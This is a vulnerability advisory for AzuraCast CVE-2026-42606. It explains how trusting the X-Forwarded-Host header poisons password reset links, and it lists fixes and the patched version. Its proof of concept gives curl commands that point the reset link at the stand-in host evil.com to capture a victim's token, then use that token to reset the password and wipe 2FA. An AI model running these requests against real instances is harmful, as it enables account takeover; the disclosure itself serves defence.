CVE-2026-42606: AzuraCast: Password Reset Poisoning via Untrusted X-Forwarded-Host Header Leads to Account Takeover and 2FA Bypass

Published May 4, 2026
·
Updated

Summary

The ApplyXForwarded middleware unconditionally trusts the client-supplied X-Forwarded-Host HTTP header with no trusted proxy allowlist. An unauthenticated attacker can poison the password reset URL sent to any user by injecting this header when triggering the forgot-password flow. When the victim clicks the poisoned link, their reset token is exfiltrated to the attacker's server. The attacker then uses the token on the real instance to reset the victim's password and destroy their 2FA configuration, achieving full account takeover.

Details

Root Cause 1: Unconditional X-Forwarded-Host Trust

backend/src/Middleware/ApplyXForwarded.php:35-40: php if ($request->hasHeader('X-Forwarded-Host')) { $hasXForwardedHeader = true; $xfHost = Types::stringOrNull($request->getHeaderLine('X-Forwarded-Host'), true); if (null !== $xfHost) { $uri = $uri->withHost($xfHost); } }

There is no validation that the request originates from a trusted reverse proxy. Any direct client can set this header and it will be accepted.

In the default Docker deployment, nginx's PHP location block (util/docker/web/nginx/azuracast.conf.tmpl:150-171) uses fastcgipass with include fastcgiparams. Standard nginx behavior passes all client HTTP headers through to PHP-FPM as HTTP parameters. The proxyparams.conf file — which explicitly sets X-Forwarded-For, X-Forwarded-Proto, and X-Forwarded-Port — only applies to proxypass directives (websocket and vite dev server), NOT to the fastcgipass PHP handler. Therefore, client-supplied X-Forwarded-Host reaches PHP unmodified.

Root Cause 2: Request Host Used for Security-Critical URLs

backend/src/Http/Router.php:53-77 in buildBaseUrl(): php $useRequest ??= $settings->preferbrowserurl; // default: true

// ... if ($useRequest || $baseUrl->getHost() === '') { $ignoredHosts = ['web', 'nginx', 'localhost']; if (!inarray($currentUri->getHost(), $ignoredHosts, true)) { $baseUrl = (new Uri()) ->withScheme($currentUri->getScheme()) ->withHost($currentUri->getHost()) ->withPort($currentUri->getPort()); } }

With preferbrowserurl = true (the default at backend/src/Entity/Settings.php:109), the request URI host — already poisoned by ApplyXForwarded — is used as the base URL for generating absolute URLs. Even if a baseurl is configured in settings, it is overridden by the poisoned request host.

Root Cause 3: Password Reset Generates Absolute URL

backend/src/Controller/Frontend/Account/ForgotPasswordAction.php:72-77: php $router = $request->getRouter(); $url = $router->named( routeName: 'account:login-token', routeParams: ['token' => $token], absolute: true );

This URL is embedded in the password reset email sent to the victim.

Root Cause 4: Reset Token Wipes 2FA

backend/src/Controller/Frontend/Account/LoginTokenAction.php:74-75: php $user->setNewPassword($data['password']); $user->twofactorsecret = null;

When a ResetPassword token is consumed, the user's 2FA secret is unconditionally destroyed.

PoC

Prerequisites: An AzuraCast instance with a user account (e.g., admin@target.com) that has 2FA enabled. Attacker controls evil.com with a web server that logs incoming requests.

Step 1: Trigger poisoned password reset

bash curl -X POST https://target.azuracast.example/forgot \ -H "X-Forwarded-Host: evil.com" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "email=admin@target.com"

Expected result: The password reset email sent to admin@target.com contains a URL like: https://evil.com/login-token/abc123def456...

Step 2: Capture the token

When the victim clicks the link in their email, their browser navigates to https://evil.com/login-token/abc123def456.... The attacker's web server at evil.com captures the full URL path, extracting the token abc123def456....

Step 3: Use token on real instance

bash First, GET the reset page to obtain CSRF token curl -c cookies.txt https://target.azuracast.example/login-token/abc123def456...

Extract CSRF token from response, then POST new password curl -b cookies.txt -X POST https://target.azuracast.example/login-token/abc123def456... \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "csrf=<extractedcsrftoken>&password=AttackerPassword123"

Result: The victim's password is changed to AttackerPassword123 and their 2FA is destroyed (twofactorsecret = null). The attacker is logged in with full access.

Impact

- Full account takeover of any user account, including administrators, without any prior authentication - 2FA bypass — the password reset flow unconditionally destroys 2FA configuration, negating its security benefit - Administrative compromise — if the target is an admin account, the attacker gains full control of the AzuraCast instance, including all stations, media, and system settings - The attack requires the victim to click a link in a legitimate-looking password reset email from the real AzuraCast mail system, which increases the likelihood of success

Recommended Fix

Fix 1 (Primary): Validate X-Forwarded-Host against a trusted proxy allowlist

In backend/src/Middleware/ApplyXForwarded.php, only apply X-Forwarded- headers when the request originates from a trusted proxy (e.g., the Docker-internal nginx):

php // Add trusted proxy check $trustedProxies = ['127.0.0.1', '::1', 'nginx', 'web']; $remoteAddr = $request->getServerParams()['REMOTEADDR'] ?? '';

if (!inarray($remoteAddr, $trustedProxies, true)) { return $handler->handle($request); }

// ... existing X-Forwarded- processing

Fix 2 (Defense in depth): Use configured base URL for security-critical emails

In ForgotPasswordAction.php, generate the reset URL using the configured baseurl setting rather than the request-derived URL:

php $router = $request->getRouter(); $url = $router->named( routeName: 'account:login-token', routeParams: ['token' => $token], absolute: true, // Force use of configured base URL, not request host );

Or modify Router::buildBaseUrl() to never use request-derived hosts for absolute URLs by adding an option to force the configured base URL.

Fix 3 (Defense in depth): Don't wipe 2FA on password reset

In LoginTokenAction.php:75, remove the line $user->twofactorsecret = null;. If 2FA recovery is needed, it should be a separate, explicit flow — not a side effect of password reset.

Other sources

AzuraCast is a self-hosted, all-in-one web radio management suite. Prior to version 0.23.6, the ApplyXForwarded middleware unconditionally trusts the client-supplied X-Forwarded-Host HTTP header with no trusted proxy allowlist. An unauthenticated attacker can poison the password reset URL sent to any user by injecting this header when triggering the forgot-password flow. When the victim clicks the poisoned link, their reset token is exfiltrated to the attacker's server. The attacker then uses the token on the real instance to reset the victim's password and destroy their 2FA configuration, achieving full account takeover. This issue has been patched in version 0.23.6.

MITRE

Affected Software

2 affected componentsFixes available
composer/azuracast/azuracast<=0.23.5
0.23.6
azuracast azuracast<0.23.6

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade composer/azuracast/azuracast to a version that resolves this vulnerability.

    Fixed in 0.23.6
  2. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Patch 0.23.6
  3. Configuration

    In ApplyXForwarded.php, only apply X-Forwarded-* headers when the request originates from a trusted proxy (remoteAddr in trustedProxies). Do not accept client-supplied X-Forwarded-Host unless it comes from the trusted proxy allowlist.

    AzuraCast backend/src/Middleware/ApplyXForwarded.php X-Forwarded-* handling (trusted proxy allowlist) = only apply X-Forwarded-* when remoteAddr is in a trusted proxy allowlist (e.g., 127.0.0.1, ::1, nginx, web); do not trust client-supplied X-Forwarded-Host without allowlist match
  4. Configuration

    In ForgotPasswordAction.php when generating the password reset URL, use the configured base_url for absolute URL generation instead of the request-derived URL/host.

    AzuraCast backend/src/Controller/Frontend/Account/ForgotPasswordAction.php reset URL base URL source = use configured base_url (via Router::buildBaseUrl) rather than request-derived host derived from X-Forwarded-Host
  5. Configuration

    In LoginTokenAction.php, remove the line that unconditionally destroys 2FA on reset token consumption: remove `$user->two_factor_secret = null;` so 2FA is not wiped as a side effect of password reset.

    AzuraCast backend/src/Controller/Frontend/Account/LoginTokenAction.php 2FA secret destruction on token consumption = do not set to null (remove $user->two_factor_secret = null;)

Event History

May 4, 2026
Advisory Published
via GitHub·09:17 PM
Data Sourced
via GitHub·09:17 PM
DescriptionSeverityWeaknessAffected Software
May 9, 2026
CVE Published
via MITRE·07:43 PM
Data Sourced
via MITRE·07:43 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·08:16 PM
RemedyDescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-42606?

CVE-2026-42606 is a high severity vulnerability due to the potential for password reset URL poisoning.

2

How do I fix CVE-2026-42606?

To fix CVE-2026-42606, upgrade the azuracast package to version 0.23.6 or later.

3

What systems are affected by CVE-2026-42606?

CVE-2026-42606 affects AzuraCast versions from 0.23.5 and below.

4

Can CVE-2026-42606 be exploited without authentication?

Yes, CVE-2026-42606 can be exploited by unauthenticated attackers who can manipulate the X-Forwarded-Host header.

5

What are the potential impacts of CVE-2026-42606?

The potential impacts of CVE-2026-42606 include unauthorized access to accounts through manipulated password reset links.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203